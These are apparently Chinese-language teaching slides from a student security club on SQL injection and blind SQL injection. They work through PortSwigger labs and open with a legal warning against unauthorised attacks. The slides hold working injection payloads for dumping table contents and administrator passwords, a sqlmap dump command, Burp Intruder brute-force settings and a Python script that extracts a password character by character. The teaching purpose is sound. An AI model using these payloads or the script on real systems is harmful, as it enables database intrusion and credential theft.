Blind SQL Injection

whoami

  • fallnight

  • 資工三甲

  • 113 屆  會長

  • 女婕思

Outline

  • 回憶 SQLi 課程

  • 資料庫版本

    • Lab 0x1、0x2 + Bonus*2

  • Blind SQLi

    • Lab 0x3 ~ 0x7

法律聲明

  • 中華民國刑法
    • 第 三十六 章 妨害電腦使用罪

今日課程僅針對 PortSwigger 平台提供的練習環境進行攻擊

請勿隨意對未經授權的系統進行攻擊,不要以身試法 !

登入 / 註冊帳號

 or
找回密碼 QwQ


https://portswigger.net/

回憶 資料與資料庫之間的關係

使用者

回憶 資料與資料庫之間的關係

  • 一個 資料庫管理系統 (Database Management System, DBMS) 會有很多 資料庫 (database)
    • 資料庫 會有很多 資料表 (table)
      • 資料表 會有很多 欄位 (column)
        • 欄位 對應很多 資料 (row/record)
欄位1欄位2欄位3
xxxxxxxxx
xxxxxxxxx
欄位1欄位2欄位3
xxxxxxxxx
xxxxxxxxx
欄位1欄位2欄位3
xxxxxxxxx
xxxxxxxxx
欄位1欄位2欄位3
xxxxxxxxx
xxxxxxxxx

資料庫

資料表

存放的 "資料"

回憶 SQL 語法

  • 假設購物網站有個資料庫裡有個 Users 資料表
  • 如果想要得到 Peter 的帳號和密碼,應該如何下查詢語句?
     
  •  資料表 選取 符合條件的 欄位下的資料
    SELECT  account, password  FROM  Users  WHERE  name='Peter'
     Users 資料表,選取 name 為 "Peter" 的 accout 和 password 資料
nameaccountpassword
Peterabc12312345
Ivyivy789au4a83
accountpassword
abc12312345

Users :

回憶 SQL Injection

  • 常見類型

    • Retrieving Hidden Data (檢索隱藏資料)

    • Subverting Application Logic (影響應用程式邏輯)

    • UNION Attack (UNION 攻擊)

    • Examining The Database (檢查資料庫)

    • Blind SQL Injection (SQL 盲注入)

Retrieving Hidden Data

  • 檢索隱藏資料

  • 取得原本看不到的網站資料

    • ex. 查詢購物網站中 "未上架的商品"

Subverting Application Logic

  • 影響應用程式邏輯

    • ex. 登入時,在帳號後方閉合單引號 ' 後加入註解  -- ,繞過密碼驗證,成功登入目標帳號

UNION Attack

  • UNION 攻擊

  • 透過 UNION 語法,讓資料庫執行額外的 SELECT 查詢語句

    • ex. 取得帳密  ' UNION SELECT username, password FROM users--

回憶 SQL Injection

  • 常見類型

    • Retrieving Hidden Data (檢索隱藏資料)

    • Subverting Application Logic (影響應用程式邏輯)

    • UNION Attack (UNION 攻擊)

    • Examining The Database (測試資料庫)

    • Blind SQL Injection (SQL 盲注入)

}

今日主題 !

Examining The Database

  • 不同的 資料庫管理系統 (DBMS) 在語法上會有差異

  • 在攻擊前,可以先檢查網站所使用的 DBMS 為何,排除語法問題導致的錯誤

  • 常見關聯式資料庫管理系統Oracle、Microsoft SQL Server、PostgreSQL、MySQL

    • Relational Database Management System (RDBMS)

    • 以 表格 的形式儲存資料

    • 另有 非關聯式資料庫 (NoSQL),不限定為表格形式,ex. MongoDB, Redis 等

不同資料庫管理系統,有不同的語法

印出版本資訊的語法

DBMS查詢語法
OracleSELECT banner FROM v$version
Microsoft (MS SQL)SELECT @@version
PostgreSQLSELECT version()
MySQLSELECT @@version
  • 結合 UNION SELECT,讓網站印出自己的資料庫版本

  • 看看該版本是否有已知的 CVE 漏洞可以利用

Lab 0x1

Lab 0x1

  • 隨便點擊一個搜尋詞條

  • 發現網站上方的網址多了 GET 參數

?category=Accessories

Lab 0x1

  • 測試欄位數量 (p.s. 註解 -- 要確保後面有空格,否則可能會出錯,所以使用 --+
     

     
    ……直到沒有錯誤

  • 在網址參數後方加入 Payload ,並送出新的網址

' UNION SELECT NULL--+
' UNION SELECT NULL, NULL--+
' UNION SELECT NULL, NULL, NULL--+

URL encode

Lab 0x1

  • 測試 是否只有一個欄位

  • 回應錯誤,表示欄位數量不是 1

' UNION SELECT NULL--+
  • 測試 是否有兩個欄位

  • 沒有出現錯誤,表示有兩個欄位

' UNION SELECT NULL, NULL--+

Lab 0x1

Lab 0x1

  • 結合  MySQL 的版本查詢語法

  • 修改 UNION SELECT 的原始查詢語法

  • 兩個欄位都是字串型態,在哪個欄位查詢都能成功

' UNION SELECT NULL, NULL--+
SELECT @@version
' UNION SELECT NULL, @@version--+
' UNION SELECT @@version, NULL--+

Lab 0x2

  • 隨便點擊一個搜尋詞條

  • 發現網站上方的網址多了 GET 參數

?category=Gifts

Lab 0x2

  • 在網址的參數後方加入 payload

  • 依序測試資料表的欄位數量

  • Oracle 的 SELECT 必須使用 FROM 指定查詢的資料表

  • 改用 ORDER BY
     
     

    ……直到發生錯誤

  •                                              開始出錯 → 有兩個欄位

' ORDER BY 1--+
' ORDER BY 2--+
' ORDER BY 3--+
' ORDER BY 3--+

Lab 0x2

  • 結合 Oracle 的版本查詢語法

  • 修改 UNION SELECT 的原始查詢語法

  • 兩個欄位都是字串型態,在哪個欄位查詢都能成功

' UNION SELECT NULL, NULL FROM v$version--+
SELECT banner FROM v$version
' UNION SELECT NULL, banner FROM v$version--+
' UNION SELECT banner, NULL FROM v$version--+

Lab 0x2

補充 DUAL 空表

  • 在  Oracle、MySQL、MS SQL 中,系統有預設「空表 (DUAL)」

  • Oracle 必須加上 FROM 指定要查詢的資料表,才能正確執行查詢
    • 這時可以使用 DUAL 搭配 UNION SELECT 查詢欄位數量
SELECT * FROM DUAL

Bouns 列出資料庫內容

Bouns 列出資料庫內容

  • 查詢語法為 先找資料表名稱,再看資料表內容

  • Oracle
     

  • Microsoft SQL Server

     

  • PostgreSQL

     

  • MySQL

     

SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE NAME-HERE'
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

p.s. 語法內容來自 101 學姊的整理

Bouns 列出資料庫內容 - 非 Oracle

  • 先確認欄位數量                                                                           →  沒報錯  →  有兩欄

  • 查詢這裡有什麼資料表名稱

' UNION SELECT table_name, NULL FROM information_schema.tables--+
' UNION SELECT NULL, NULL--+

Bouns 列出資料庫內容 - 非 Oracle

  • 出現很多資料表,一個個看帳密可能藏在哪

  • ex. 查看這個可疑資料表 users_fbfexu 有什麼樣的欄位名稱

' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users_fbfexu'--+

Bouns 列出資料庫內容 - 非 Oracle

  • 查看特定資料表中的特定欄位的內容
     

  • 發現帳密!  登入後即可完成這題

' UNION SELECT username_qunpaq, password_cvitji FROM users_fbfexu--+

Bouns 列出資料庫內容 - Oracle

  • 確認有兩個欄位後

  • 查看有什麼樣的資料表名稱

' UNION SELECT table_name, NULL FROM all_tables--+

Bouns 列出資料庫內容 - Oracle

  • 這次用 sqlmap 去找找看

  • 打開 kali 的 終端機使用以下指令
     

    • URL 要換成 lab 的網址
    • session=... 這裡的  需要換成自己的網站 session
    • --dbms=Oracle 指定資料庫為 Oracle
    • --dump 導出資料
    • --exclude-sysdbs 自動跳過內建的多個系統資料表 (為Oracle 而用)
    • --batch 在詢問 yes/no 時,自動選擇預設選項
sqlmap -u "URL" --cookie="session=..." --dbms=Oracle --dump --exclude-sysdbs --batch

Bouns 列出資料庫內容 - Oracle

  • 等待 sqlmap 跑出結果...

  • 最終拿到帳密!

Blind SQL Injection

  • SQLi  →  資料庫會把資料整個印出來

  • Blind SQLi  →  資料庫只會給反應,我們看不到資料內容,要去猜他查到的資料是什麼 

SQLi
注入查詢後直接噴出帳密的查詢結果

Blind SQLi

注入後,不會直接顯示資料庫查詢結果

但會反應注入的查詢結果為 True / False

Blind SQL Injection

  • 分為兩個類型 :

    • Boolean-based
      • True   →   網頁多出一行字(如:Welcome back!)

      • False   →   網頁少了一行字

    • Time-based

      • True   →   網頁延遲一段時間 (ex. 5秒、10秒),才加載出來
      • False   →   網頁照常,很快就加載完成

Lab 0x3 觸發條件回應

欄位1欄位2欄位3
xxxxxxxxx
xxxxxxxxx
欄位1欄位2欄位3
xxxxxxxxx
xxxxxxxxx
欄位1欄位2欄位3
xxxxxxxxx
xxxxxxxxx
欄位1欄位2欄位3
xxxxxxxxx
xxxxxxxxx
usernamepassword
administratorod45f1
wieneras54d8
carlosf4d6s2

資料庫

資料表

紀錄的 "資料"

Lab 0x3

  • 修改 Cookie 中 TrackingId 的值,在這邊注入攻擊

Lab 0x3

  • 可以猜測後端處理 Cookie 中的 TrackingId 值的語法為 :
     

  • 簡單在 TrackingId 值的後方加個 單引號 '
     

    • 會多出一個未閉合的單引號 '  →  造成語法錯誤,預期它會出錯
  • 再加上註解 --+
    • 將多出的單引號註解掉了  →   解決了語法錯誤,預期它不會出錯
SELECT * FROM tracking_table WHERE tracking_id = 'TrackingId的值'

Payload 注入的位置

SELECT * FROM tracking_table WHERE tracking_id = 'TrackingId的值''

注入後的 Payload

SELECT * FROM tracking_table WHERE tracking_id = 'TrackingId的值'--+'

注入後的 Payload

原本的 ' 被擠到外面了

Lab 0x3 

  • 先簡單測試注入一個單引號  '
  • "Welcome back!" 消失了  →  注入的內容被資料庫當成了程式碼的一部分執行,說明後端存在漏洞

Lab 0x3 

  • 試試再加上註解  '--+
  • "Welcome back!" 又出現了  →   語法修正後,資料庫又能正常運行了

Lab 0x3

  • 到這裡可以確定
    • 網站後端的資料庫管理系統 (DBMS) 存在 SQL 漏洞
    • 當注入的 Payload 造成錯誤時,"Welcome back!" 會消失

       
    • 沒有造成錯誤時,網頁會正常顯示 "Welcome back!"

       
  • 接下來的目標:  嘗試加入額外的 SELECT 查詢,最終讓我們知道密碼是什麼

Lab 0x3

  • 直接加上 SELECT ?
     

    • WHERE 後方沒辦法接一個獨立的 SELECT 查詢語句

    • 會因為 語法錯誤 而沒看到 "Welcome back!"   →   不代表這個資料不存在





       

  • AND 就可以額外加上一個 SELECT 查詢,並進行條件式判斷,得到 True / False 兩種結果

注入的 Payload

SELECT * FROM tracking_table WHERE tracking_id = 'TrackingId的值' SELECT password FROM users WHERE username='administrator'--+'

原有的查詢語句

Lab 0x3

  • 測試加上 AND 後,能不能顯示 True / False 兩種結果
    • TrackingId=XXX

       
      • AND 前面的條件式因為有查到 TrackingId 的值,所以會是 True
      • AND 後方條件為 True
        →  網頁顯示 "Welcome back!"​​
    • TrackingId=XXX
       

      • AND 後方條件為 False,網頁不會顯示 "Welcome back!"

' AND '1'='2'--+
' AND '1'='1'--+
SELECT * FROM tracking_table WHERE tracking_id = 'TrackingId的值'

Payload 注入的位置

SELECT * FROM tracking_table WHERE tracking_id = 'TrackingId的值' AND '1'='1'--+'

注入後的 Payload

SELECT * FROM tracking_table WHERE tracking_id = 'TrackingId的值' AND '1'='2'--+'

Lab 0x3 

  • AND 後方條件為 True 時,網頁會顯示 "Welcome back!"
' AND '1'='1'--+

Lab 0x3 

  • AND 後方條件為 False,"Welcome back!" 消失
' AND '1'='2'--+

Lab 0x3

  • 得知 AND 可以用之後,加入 SELECT 查詢語句
  • 確認 users 資料表是否真的存在,且裡面有 username 為 administrator 的使用者
  • Payload :
     
    • 若有符合 WHERE 條件的資料,SELECT '1' 就會回傳字元 1
    • '1'  =  '1'     →    顯示 "Welcome back!"
  • 若查詢找不到資料,則不會顯示 "Welcome back!"
' AND (SELECT '1' FROM users WHERE username='administrator')='1'--+

Lab 0x3 

  • "Welcome back" 有出現
    →   users 資料表確實存在,且裡面確實有 username 為 administrator 的使用者

Lab 0x3 

  • 確認資料真實存在後,開始找密碼 !
  • 沒辦法直接讓網頁印出密碼是什麼
    →  慢慢拼出密碼
    • 找出密碼有幾位
      • LENGTH( ) → 資料的長度
    • ​找每一位密碼是什麼
      • ​SUBSTRING (欄位名稱, 起始位置, 長度)
        → 一位一位的猜每一位密碼各自是什麼,最後再組合成完整的密碼

Lab 0x3

' AND (SELECT LENGTH(password) FROM users WHERE username='administrator')>5--+
  • 測試密碼長度

  • Payload :
     

    • SELCECT 密碼長度

    • 原本 (SELECT 1) 的 '1' = '1' 條件式,改成 密碼長度 是否大於 5

  • 先簡單挑個誇張的數字,測試 Payload 會出現 True / False 兩種結果,再開始找密碼長度

    • 長度 > 1   →   出現 "Welcome back!"   →   實際密碼長度大於 1
    • 長度 > 50   →   "Welcome back!" 沒有出現   →   實際密碼長度不大於 50

Lab 0x3

  • 不斷改變數字,找出密碼長度 !
' AND (SELECT LENGTH(password) FROM users WHERE username='administrator')>5--+

修改這裡

Lab 0x3

  • 把 大於 > 改成 等於  =  
    • 確認找到的密碼長度是否正確
' AND (SELECT LENGTH(password) FROM users WHERE username='administrator')=20--+

Burp Suite 自動找長度

  • 在 HTTP history,選取根目錄的請求封包後對它按右鍵,選擇 "Send to Intruder"
  • 上方欄位選 Proxy 旁邊的 Intruder

Burp Suite 自動找長度

  • 上方選單為 "Sniper attack" 模式 → 代表只針對一個值做爆破測試
  • 將判斷長度的 Payload 貼到 Cookie 的 TrackingId 後方
' AND (SELECT LENGTH(password) FROM users WHERE username='administrator')>1--

Burp Suite 自動找長度

  • 反白選取原本需要手動替換、爆破測試的值
  • 按上方 Position 的 Add§,確保要替換的值有被 § 前後包起來
  • 右邊側邊欄開啟 Payloads,設定各項參數如圖 :

Burp Suite 自動找長度

  • Payload 是正在測試的長度
  • 透過回應長度 Length
    → 判斷是否有出現 "Welcome back!"
  • 到 20 長度減少
    少了 "Welcome back!" 而減少
    得知密碼長度就是 20
  • 下方 Reponse 的 Render
    可以看到回應的網頁長什麼樣子

Lab 0x3 確認密碼內容

 

  • SELECT SUBSTRING(password, 3, 1)
    • ​​SUBSTRING(欄位名稱, 起始位置, 長度)
    • 提取密碼字串中的子字串 (一個字元)
    • ex. 抓取 password 欄位資料的第 3 位開始的 1 個字元,也就是密碼的第三位字元
  • WHERE username='administrator'
    • 為查詢加上條件
    • 只看 欄位 username 為 administrator 這列的 password​​
  • SELECT 會查詢整串密碼​​​中的一個字元
' AND (SELECT SUBSTRING(password,3,1) FROM users WHERE username='administrator') > 'm'--+
usernamepassword
administratorod45f1
wieneras54d8
carlosf4d6s2

Lab 0x3 確認密碼內容

 

  •  > 'm' 
    • 判斷查詢的這個密碼的 ASCII 是否大於 m
  •  AND
    • ​條件式判斷,已知前面的 TrackingId 是 True
    • 後方的條件正確/錯誤,則網頁回應正確/錯誤
  • 最前面的單引號 '
    • 閉合前面的 TrackingId
  • --+
    • 把後面原有的後端 SQL 程式碼註解掉,避免發生語法錯誤
' AND (SELECT SUBSTRING(password,3,1) FROM users WHERE username='administrator') > 'm'--+

Lab 0x3 確認密碼內容

 

  • 確認 Payload 能否回應 True / False 兩種結果
  • 密碼的可能性是 0~9、a~z
    • ASCII 最小的是 0  →  48,最大的是  z  →  122
  • True  →  第三位密碼是否大於 0 
  • False  →  第三位密碼是否大於 z
' AND (SELECT SUBSTRING(password,3,1) FROM users WHERE username='administrator') > 'm'--+

修改這裡

Lab 0x3 確認密碼內容

 

  • 第三位密碼是什麼 ?
  • 用 ASCII 判斷猜測是否正確,逐漸縮小範圍
    • ex. 第三位密碼為 'c' (ASCII: 99),開始猜:
      • c 是否大於  p  (ASCII: 112)  →  否,縮小數字
      • c 是否大於  5  (ASCII: 53)  →  是,得知密碼範圍在 5 ~ p 之間
      • c 是否大於  9  (ASCII: 57)  →  是,密碼不是數字,範圍在 a ~ p 之間
      • c 是否大於  e  (ASCII: 101)  →  否,縮小數字
      • c 是否大於  c  (ASCII: 99)  →  否,縮小數字
      • c 是否大於  b  (ASCII: 98)  →  是
  • 再換第二位密碼重複這個流程,直到確認每一位密碼是什麼
' AND (SELECT SUBSTRING(password,3,1) FROM users WHERE username='administrator') > 'm'--+
}

得知第一位密碼是 c !

修改這裡

  • 比暴力破解快
  • 但需要手動調位數 (20次)
  • Burp Suite 幫忙一個個測試 0~9、a~z ,找到即停止
  • Payload 的判斷從 大於 改成 等於,直接問這位密碼是否是某個字元

Burp Suite 半自動找密碼

' AND (SELECT SUBSTRING(password,3,1) FROM users WHERE username='administrator') = 'm'--+

Burp Suite 會依序替換這裡的字元

手動替換密碼位數

  • 修改 TrackingId 後方的 Payload (要保留原有的 TrackingId)
  • 選取 m ,按左上角的 Add §,讓 Burp Suite 自動替換這裡的字元

Burp Suite 設定步驟

  • 右方側邊欄 Payloads
    • Payload type 選擇 Simple list
    • 複製 0~9、a~z 的清單  →
    • 按 Paste 貼上

Burp Suite 設定步驟

0
1
2
3
4
5
6
7
8
9
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
  • 不想手打 a~z、0~9 的清單?
  • Payload type 選擇 Brute forcer
  • 下方可以直接選 abc...xyz012...789
  • Min / Max length 都選 1
    • 生成長度為 1 的排列組合
      =  a~z、0~9 的每個字元

補充

  • 右方側邊欄改成 Settings (往下滑)
  • Auto-pause attack
    • 自動暫停攻擊
    • 當回應出現指定字串,就暫停任務
    • 不再發送後續的 Payload
    • 節省時間與資源
  • Paste 貼上 "Welcome back"
    • 或用 Add 手打

Burp Suite 設定步驟

  • 右方側邊欄改成 Settings (再往下滑)
  • Grep - Match
    • 匹配標記​
    • 不會影響任務進行或暫停
    • 會在結果清單新增設定的特徵詞欄位
    • 若回應內容有匹配的特徵詞,
      就可以在結果清單看到,也可用排序功能
    • 輔助結果分析
  • 預設包含多個特徵詞,按 Clear 清除
  • Paste 貼上 "Welcome back"
    • 或用 Add 手打

Burp Suite 設定步驟

Burp Suite 半自動成果 (第1位密碼)

Burp Suite 半自動成果 (第2位密碼)

  • 全自動跑密碼,但耗時最久
  • 真 • 暴力破解
    • ex. 第一位密碼是否是 a、第二位密碼是否是 a、第三位密碼是否是 a ... 第二十位密碼是否是 a
            第一位密碼是否是 b、第二位密碼是否是 b、第三位密碼是否是 b ... 第二十位密碼是否是 b
  • 總共會跑 20 位密碼 × 36 種可能 = 720 種要嘗試的排列組合

Burp Suite 自動找密碼

' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator') = 'a'--+

Payload 2

依序替換字元

Payload 1

依序替換密碼位數

  • Payload position 1 - 1
  • Payload type 選 Numbers
  • 對應密碼的第1 ~ 20位

Burp Suite 設定步驟

  • Payload position 2 - a
  • Payload type 選 Simple list
  • Paste 貼上清單  →

Burp Suite 設定步驟

0
1
2
3
4
5
6
7
8
9
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
  • 以 Length 排序
    將找到的密碼靠前
  • 過了 20 分鐘
    才做一半不到
  • 只適合較小的組合量

Burp Suite 自動成果

Python 腳本  自動找密碼

  • 不用手動又更快破解的方法
  • 剛剛在手動找密碼的過程是可以用程式自動化去跑的
    • 其實就是 二分搜尋 (二分法)
      • ​一種搜尋演算法
      • 詢問是否大於某數,得到 True / False 兩種結果
        → 修改可能的範圍​,直到範圍的上限下限相同,就找到了那位字元是什麼
  • 讓程式用 二分法 找密碼
    • 可能性有 0~9 和 a~z
    • ASCII:  最小  '0'  →  48 、 最大  'z'  →  122
    • 初始範圍 48 ~ 122
      → 透過 True / False 的結果,不斷縮小範圍

初始上限: 122

初始下限: 48

Python 腳本  自動找密碼

  • 程式在做二分法、改變範圍的邏輯 :
    • 計算範圍的中間值  (48+122) / 2 = 85
    • Payload 判斷這位密碼是否大於 85
      • "",網頁回應會出現 "Welcome back!"
        • 修改範圍的最小值,改成中間值 85 + 1,提高下限
      • "",網頁不會出現 "Welcome back!"
        • 修改範圍的最大值,改成目前的中間值 85,降低上限

初始上限: 122

初始下限: 48

中間值: 85

初始上限: 122

初始下限: 48

新範圍
86 ~ 122

新範圍
48 ~ 85

Python 腳本  自動找密碼

  • requests 模組
    • 讓程式可以去連線網站、發送請求
  • requests.get(url, cookies=cookies)
    • 對 lab 網址 (url) 發送請求,並將 cookies 設定為帶有 payload 的 cookies
  • try ... except ...
    • 嘗試 (try) requests 連線,如果失敗 (except) 就跳出迴圈並印出錯誤訊息
  • response.text
    • 網頁回應的原始碼
    • 直接找這裡有沒有 "Welcome back" 來判斷注入是否成功

Python 腳本  自動找密碼

import requests


# 這裡 xxx 要替換成當前 Lab 的真實網址與 Cookie 值 (每個人都不一樣,每次跑 lab 都需要修改)
url = "https://xxx.web-security-academy.net/"
tracking_id = "xxx"
session_id = "xxx"

password_length = 20
password = ""


for i in range(1, password_length + 1):
    # lab 的提示有說密碼是由數字 (0-9) 與小寫字母 (a-z) 組成
    # 以 ASCII 計算二分法
    # 最小是 '0' -> 48,最大是 'z' -> 122
    low = 48
    high = 122 

    # 開始二分法的迴圈
    while low < high:
        mid = (low + high) // 2  # 取中間值
        mid_char = chr(mid)      # 將 ASCII 數字轉回字元

        # 這裡的查詢語法是在確認正確密碼的這位字元是否大於 mid_char?
        payload = f"{tracking_id}' AND (SELECT SUBSTRING(password,{i},1) FROM users WHERE username='administrator') > '{mid_char}"

        # cookies 由 session 與 TrackingId 組成
        cookies = {
            'TrackingId': payload,
            'session': session_id
        }

        # 發送帶有完整 cookie 的請求
        try:
            response = requests.get(url, cookies=cookies)
        except requests.exceptions.RequestException as e:
            print(f"連線錯誤: {e}")
            break

        # 透過回應修改二分法的範圍
        if "Welcome back!" in response.text:
            # 如果回應內容中帶有 "Welcome back!"
            # 表示正確密碼的這位字元「大於」中間值,所以提高下限
            low = mid + 1
        else:
            # 沒有 "Welcome back!" 表示正確密碼的這位字元「小於或等於」中間值,所以降低上限
            high = mid

    # 當 while 迴圈結束時,low 會等於 high,也就是正確密碼的這位字元的 ASCII
    found_char = chr(low)   # 將 ASCII 數字轉回字元
    password += found_char  # 加入最終密碼的字串
    print(f"已找到第 {i} 位密碼為: {found_char}")

# 正確密碼的 20 位都已找到
print(f"\n最終完整密碼為: {password}")

Lab 0x3  End

  • 透過腳本找到完整密碼
  • 登入 administrator 的帳號就能解開這題

小結

  • 找密碼的方法很多
    • 手動慢慢輸,理解運作原理
    • 使用工具
      • Burp Suite
        • 不用自己寫程式,但不夠靈活,等待時間長
        • 推薦在排列組合不多的情況下使用
      • Python 腳本
        • 可以使用各種搜尋演算法,大幅提升破解速度
        • 會需要處理程式語法上的 bug 或者連線問題等,攻擊以外的問題

小結 - 攻擊流程

  • 先找可以注入的地方 (entry point)
  • 列舉網站後端的 DBMS 版本,ex. Oracle、Microsoft SQL Server、PostgreSQL、MySQL
    • Fuzz attack : 用腳本或工具,自動化測試字典檔的每個 Payload
  • 設定條件
    • ex. ' AND '1'='1'--+    /    ' AND '1'='2'--+
  • 驗證 DBMS 回應條件 True / False 的方式
  • 嘗試列舉 Database、table
  • 注入 Payload 查詢機密資料
    • 找密碼
      • LENGTH() 找密碼長度
      • SUBSTRING() 將密碼拼出來

觸發錯誤訊息

  • 不論查詢成功與否都不會在網站上有任何顯示

  • 透過強制讓後端觸發邏輯錯誤、產生錯誤訊息,來推斷資訊、提取資料

  • 提取詳細錯誤資訊  →  Lab 0x4

  • 觸發條件式錯誤  →  Lab 0x5

Lab 0x4

  • 提取詳細錯誤資訊

  • 直接從錯誤資訊中取得敏感資料

  • 透過特定的 資料庫函數 或 語法錯誤

    • 將想要得到的敏感資訊作為參數傳入這些函數中

    • 讓網站自己藉由錯誤訊息,印出敏感資訊

  • 如果網站沒有妥善處理異常,這些包含敏感數據的錯誤訊息就會直接顯示

Lab 0x4

Lab 0x4

  • 測試注入點

    • 嘗試在原有的 TrackingId 值後方加上單引號 '
    • 錯誤訊息說 "有未中止的字串",表示有引號沒有結束,導致發生錯誤

Lab 0x4

  • 後方加上註解,就沒有錯誤了

  •  後端執行的 SQL 語句是 :
     

  • 加上單引號

    • 原有的單引號多出來了  →  導致錯誤

  • 加上註解

    • 注入的單引號閉合前面的 TracingId

    • 原有的單引號被註解掉  →  不造成影響

SELECT * FROM tracking WHERE id = 'TrackingId的值'
SELECT * FROM tracking WHERE id = 'TrackingId的值''
SELECT * FROM tracking WHERE id = 'TrackingId的值'--'

原有的 '

注入的 '

Lab 0x4

  • 確認能否接上布林運算,方便未來改成惡意查詢

  • 利用 AND 連接額外的查詢

  • 確認這樣是否會報錯 

    • 單引號 ' 前方是後端原有的查詢,因查詢成功  →  True
    • SELECT 1    會返回 1 
    • 1 = 1            條件式為 True
    • 理論上 AND 兩邊皆為 True,不會產生語法錯誤
  • 測試發現沒有報錯,得知可以透過 AND 加上查詢語句   →  
' AND (SELECT 1)=1--+

Lab 0x4

  • 確認 users 資料表與 username 欄位是否存在
    •  
  • 結果出現錯誤訊息 :
    • "AND 兩邊的參數類型必須為布林值,不能是字元"
    • SELECT 查詢回來的是字串,無法與 True/False 進行 AND 運算,而導致報錯
' AND (SELECT username FROM users)--+

Lab 0x4

  • CAST() 轉換型態,加入 Payload 中 :
     
    • 讓查詢結果從  字串型態  變成  整數型態
  • 結果依舊出現錯誤訊息 :
    • "因未中止的字串而報錯" , 但明明已經用註解解決了 ?
    • 實際上是因為 Payload 太長而被截斷了,導致最後的註解沒有出現
' AND CAST((SELECT username FROM users) AS int)--+

Lab 0x4

  • 試試看把與注入無關的 TrackingId 刪除,節省空間
  • 結果還是有錯誤訊息 :
    • "AND 應該要是布林結果,而非整數"
      → Payload 太長的問題解決了
    • DBMS 無法直接將整數型態當作 True 去做 AND 運算

Lab 0x4

  • 變成比較的條件式,在後面加上  =1
    • 結果一定是布林值 (True / False),滿足 AND 的語法
    • DBMS 可以繼續執行後面的查詢語法
       
  • 結果出現錯誤訊息 :
    • "子查詢回傳了多行資料",導致程式出錯
' AND CAST((SELECT username FROM users) AS int)=1--+

Lab 0x4

  • 加上  LIMIT 1  限制查詢只返回一筆結果
     
  • 錯誤訊息開始顯示資料庫內容 :
    • username 欄位的第一筆資料,剛好就是題目要的 administrator
    • 報錯原因 : DBMS 在執行 CAST()時,不知道怎麼強制把字串轉換成整數而報錯
' AND CAST((SELECT username FROM users LIMIT 1) AS int)=1--+

Lab 0x4

  • 已知 administrator 是 user 資料表的第一筆資料
  • 從查詢 username 改成查詢 password,讓 DBMS 顯示 administrator 的密碼
     
  • 結果成功顯示 administrator 的密碼 !
' AND CAST((SELECT password FROM users LIMIT 1) AS int)=1--+

Lab 0x4 End

  • 如果因為網頁回應錯誤而找不到登入的地方

    • 把 TrackingId 的值全部刪掉,或只刪 Payload ,或把 Payload 改成註解

    • 讓頁面不要報錯就能在右上角前往登入頁面

  • 登入 administrator 的帳號,就能成功解開這題 !

Lab 0x5

  • 觸發條件式錯誤

  • 不論查詢結果如何,其回應內容都是 "伺服器錯誤 500"

    • DBMS 遇到無法處理的錯誤,將錯誤訊息傳給後端伺服器

    • 伺服器在應對預期外的回覆時 :

      • 開發者可以提前設定,引導前端跳出自訂的 404 錯誤提示,或者回傳至別的正常的網頁 

      • 若開發者沒有做任何處理,前端語言會依照預設的錯誤機制,回應 Internal Server Error 500

    • 無法直接從錯誤訊息拿到密碼

  • 透過設定條件,只有注入條件為真,才會觸發 DBMS 錯誤 ; 若條件為假,網頁會正常顯示

    • 觀察網頁如何回應,慢慢修改 Payload

Lab 0x5

  • https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors
  • 透過 Cookie 注入
  • 找到 administrator 的密碼,並登入帳號
  • 不會回應完整的錯誤訊息
    • 透過是否回應 "伺服器錯誤",判斷注入條件為 True / False
  • CASE WHEN ... THEN ... ELSE ... END

    • 當 條件為真 時,就執行 ... ,否則執行 ...

  • LENGTH() 找密碼長度

  • SUBSTRING() 找每一位密碼

Lab 0x5

  • 測試注入點

    • 在原有的 TrackingId 值後方加上單引號 '

      • 出現伺服器錯誤

    • 再加上註解 '--+
      • 發現沒有出現錯誤了
  • ​確定可以透過錯誤回應進行攻擊

Lab 0x5

  • 確認能否利用 AND 連接額外的查詢

    • 理論上不會出錯
       

    • 送出後遇到 "伺服器錯誤",但明明應該要正確?

  • 可能是 DBMS 的語法問題

    • Oracle 在使用 SELECT 時,必須加上 FROM 指定查詢的資料表

      • Oracle、MySQL、MS SQL 有預設的「空表 (DUAL)」

    • 為 Payload 加上 FROM DUAL
       

      • 網頁正常回應

' AND (SELECT 1)=1--+
' AND (SELECT 1 FROM DUAL)=1--+

Lab 0x5

  • 設定條件語句

  • 利用 CASE WHEN ... THEN ... ELSE ... END

    • 當 注入條件為真,就要觸發伺服器錯誤,表達 "找到了正確的判斷 ! "​
  •  

    • WHEN 1=1  是 True,會執行 THEN 1/0

      • 1/0 在數學上屬於未定義,程式因無法計算而報錯

    • 出現了伺服器錯誤

  • 改成  WHEN 1=2  是 False,會執行 ELSE 1

    • 沒有出現錯誤  

    • 1=1 ,條件正確,沒有出現錯誤

' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 1 END FROM DUAL)=1--+
' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 1 END FROM DUAL)=1--+

Lab 0x5

  • 確認 users 資料表和 administrator 使用者是否存在

    •  FROM DUAL 查詢空表,改成查詢 users 資料表

    • 加上 WHERE 指定查詢 username 欄位為 administrator 的資料
       

  • 網頁報錯了

    →  users 資料表和 administrator 使用者確實存在
  • 可以隨意修改要查詢的 administrator,確認網頁反而會正常顯示  →  確實是有找到這個人才報錯
' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 1 END FROM users WHERE username='administrator')=1--+

Lab 0x5

  • 測試密碼長度

  • 修改 WHEN 的條件式,從這裡反覆修改數字,判斷密碼長度


     

    • 利用 LENGTH() 查詢實際密碼長度

  • 先簡單挑個誇張的數字,測試 Payload 沒有問題,再用腳本找密碼位數

    • 長度 > 1   →   網頁出現錯誤   →   實際密碼長度大於 1

    • 長度 > 50   →   沒有出現錯誤   →   實際密碼長度不大於 50

